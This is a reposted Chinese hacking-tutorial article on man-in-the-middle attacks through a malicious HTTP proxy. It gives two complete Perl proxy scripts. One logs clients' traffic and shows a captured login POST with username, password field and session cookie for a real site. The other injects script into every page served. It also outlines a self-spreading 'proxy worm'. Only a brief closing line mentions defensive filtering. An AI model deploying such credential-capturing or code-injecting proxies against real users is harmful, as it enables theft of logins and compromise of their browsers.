登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网..
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计..
  如何利用终端服务入侵远程计..
  “流光异彩”话小榕
  一次入侵过程
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客教学
Man-in-the-middle-attacks In Proxy
发表日期:2006-03-12作者:HeiGe[转贴] 出处:安全焦点  

Man-in-the-middle-attacks In Proxy
文/安全天使·Superhei  2005.5.1
前言:
      说起“中间人攻击(Man-in-the-middle-attacks,简称:MITM攻击)”大家可能马上想起曾经风靡一时的SMB会话劫持,DNS欺骗等技术,这些都是典型的MITM攻击手段。其实MITM攻击说它是一种手段,不如说它是一种攻击模式,它可以应用于各个领域,比如在现实中,A通过B给C传话,那么B在传话给C的时候,可以夸大其词,也可以填油加醋后传给C,在这个过程中中间人B 无意中就来一次MITM攻击,其实“谣言”就是这么来的 J. 具体在网络安全方面 ,MITM攻击应用也很广泛,下面我就以http协议代理来介绍下代理里MITM攻击。

一 .原理
代理服务的一个典型模型:

          client     <<-data->      proxy server       <&szlig;data-> Web Server
                                               middle man
上面可以看出:client 发出的请求 和 web server返回的数据都经过proxy server 转发,这个proxy server 就起到了一个middle man的作用,如果这个“中间人” 够黑,那么整个代理过程的数据 都可以由这个“中间人”控制。

二.攻击类型

截取敏感数据
代码注射
Proxp worm
其他利用
    
三.实例说明
1.    截取敏感数据
首先我们编写一个“恶意的中间人” 代理程序:

=============================codz start===============================
#!/usr/bin/perl
#proxy mid-man-atk Test script

use strict;
use URI;
use IO::Socket;

my $showOpenedSockets=1;

my $server = IO::Socket::INET->new (
   LocalPort => 8080,
   Type      => SOCK_STREAM,
   Reuse     => 1,
   Listen    => 10);


binmode $server;

while (my $browser = $server->accept()) {
  print "\n\n--------------Clint提交数据-------------------\n";

  binmode $browser;

  my $method              ="";
  my $content_length      = 0;
  my $content             = 0;
  my $accu_content_length = 0;
  my $host;
  my $hostAddr;
  my $httpVer;

  while (my $browser_line = <$browser>) {
    unless ($method) {
      ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;

      my $uri = URI->new($hostAddr);

      $host = IO::Socket::INET->new (
        PeerAddr=> $uri->host,
        PeerPort=> $uri->port );

        die "couldn't open $hostAddr" unless $host;

      if ($showOpenedSockets) {
        print "Opened ".$uri->host." , port ".$uri->port."\n";
      }

      binmode $host;

      print $host "$method ".$uri->path_query." $httpVer\n";
      print "$method ".$uri->path_query." $httpVer\n";
      next;
    }

    $content_length = $1 if      $browser_line=~/Content-length: +(\d+)/i;
    $accu_content_length+=length $browser_line;
    print $browser_line;
    print $host $browser_line;
    last if $browser_line =~ /^\s*$/ and $method ne 'POST';
    if ($browser_line =~ /^\s*$/ and $method eq "POST") {
      $content = 1;
      last unless $content_length;
      next;
    }
    if ($content) {
      $accu_content_length+=length $browser_line;
      last if $accu_content_length >= $content_length;
    }
  }
  print "\n\n................Serve返回数据.................xx\n";
  
  $content_length      = 0;
  $content             = 0;
  $accu_content_length = 0;

  my @ret= <$host>;

  foreach my $host_line (@ret){
    print $host_line;
    print $browser $host_line;
    $content_length = $1 if $host_line=~/Content-length: +(\d+)/i;
    if ($host_line =~ m/^\s*$/ and not $content) {
      $content = 1;
      #last unless $content_length;
      next;
    }
    if ($content) {
      if ($content_length) {
        $accu_content_length+=length $host_line;
        print "\nContent Length: $content_length, accu: $accu_content_length\n";
        last if $accu_content_length >= $content_length;
      }
    }
  }
  $browser-> close;
  $host   -> close;
}

=============================codz end===============================
   运行此脚本把结果保存到test.log:
C:\usr\bin>perl proxytest1.pl >>test.log

然后Clinet使用次代理访问http://reg.163.com/CheckUser.jsp  登陆

打开test.log得到如下数据:

--------------Clint提交数据-------------------
Opened reg.163.com , port 80
POST /CheckUser.jsp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://reg.163.com/CheckUser.jsp
  …….省略…….
Cookie: URSJESSIONID=b370cQyLDya7
  …….省略…….
url=&username=hack-520&password=*****&submit=%B5%C7%A1%A1%C2%BC

................Serve返回数据.................xx
HTTP/1.1 200 OK


如下图所示:

成功得到
username=hack-520
password=*****

2.代码注射
在使用代理的整个过程里,最终是通过代理服务器把数据发给clinet,这个数据是我们可以控制的,我们可以注射我们的恶意代码提交给clinet,修改上面的perl程如下:

=============================codz start===============================
#!/usr/bin/perl
#proxy mid-man-atk Test script

use strict;
use URI;
use IO::Socket;

my $showOpenedSockets=1;

my $server = IO::Socket::INET->new (
   LocalPort => 8080,
   Type      => SOCK_STREAM,
   Reuse     => 1,
   Listen    => 10);


binmode $server;

while (my $browser = $server->accept()) {
  print "\n\n--------------------------------------------\n";

  binmode $browser;

  my $method              ="";
  my $content_length      = 0;
  my $content             = 0;
  my $accu_content_length = 0;
  my $host;
  my $hostAddr;
  my $httpVer;

  while (my $browser_line = <$browser>) {
    unless ($method) {
      ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;

      my $uri = URI->new($hostAddr);

      $host = IO::Socket::INET->new (
        PeerAddr=> $uri->host,
        PeerPort=> $uri->port );

        die "couldn't open $hostAddr" unless $host;

      if ($showOpenedSockets) {
        print "Opened ".$uri->host." , port ".$uri->port."\n";
      }

      binmode $host;

      print $host "$method ".$uri->path_query." $httpVer\n";
      print "$method ".$uri->path_query." $httpVer\n";
      next;
    }

    $content_length = $1 if      $browser_line=~/Content-length: +(\d+)/i;
    $accu_content_length+=length $browser_line;
    print $browser_line;
    print $host $browser_line;
    last if $browser_line =~ /^\s*$/ and $method ne 'POST';
    if ($browser_line =~ /^\s*$/ and $method eq "POST") {
      $content = 1;
      last unless $content_length;
      next;
    }
    if ($content) {
      $accu_content_length+=length $browser_line;
      last if $accu_content_length >= $content_length;
    }
  }
  print "\n\nxx....................................xx\n";
  
  $content_length      = 0;
  $content             = 0;
  $accu_content_length = 0;

  my @ret= <$host>;
  my $ret=@ret;
  push(@ret,"<script>alert(\"superhei\")</script>");  #〈=注意这里

  foreach my $host_line (@ret){
    print $host_line;
    print $browser $host_line;
    $content_length = $1 if $host_line=~/Content-length: +(\d+)/i;
    if ($host_line =~ m/^\s*$/ and not $content) {
      $content = 1;
      #last unless $content_length;
      next;
    }
    if ($content) {
      if ($content_length) {
        $accu_content_length+=length $host_line;
        print "\nContent Length: $content_length, accu: $accu_content_length\n";
        last if $accu_content_length >= $content_length;
      }
    }
  }
  $browser-> close;
  $host   -> close;
}
=============================codz end===============================
代码:

  my @ret= <$host>;
  my $ret=@ret;
  push(@ret,"<script>alert(\"superhei\")</script>");  #〈=注意这里

这个在代理服务最终把webserver返回的数据<$host>里 注射了代码<script>alert("superhei")</script>。

运行上面的程序,当clinet用此代理服务器访问任意站时都回执行<script>alert("superhei")</script>
如图2:

3.Proxy worm的实现

如果上面的例子在配合其他的客户端攻击(如网页木马),那么就可以实现proxy worm了:


proxyworm--àclinet(proxyworm1)-àclinet1(proxyworm2)-à…..à

clinet1在使用了proxyworm代理后,proxyworm向clinet注射可以让clinet下载并运行自身的代码,clinet被攻击后成为了proxyworm1 ……..。

4.其他应用
技术都又它的双面性,我们和可以利用在安全方面:比如恶意代码过虑平台:webserve 返回的数据经过代理服务器时 经过过滤在 发送给 clinet
………

小结:
其实Man-in-the-middle-attacks是个很大的课题,在很多方面都提到,
本文只是浅显的通过http协议代理介绍了下“代理中间人攻击技术”, 如果有兴趣的朋友可以研究下 其他协议“代理中间人攻击技术”。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Man-in-the-middle-attacks In Proxy
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00616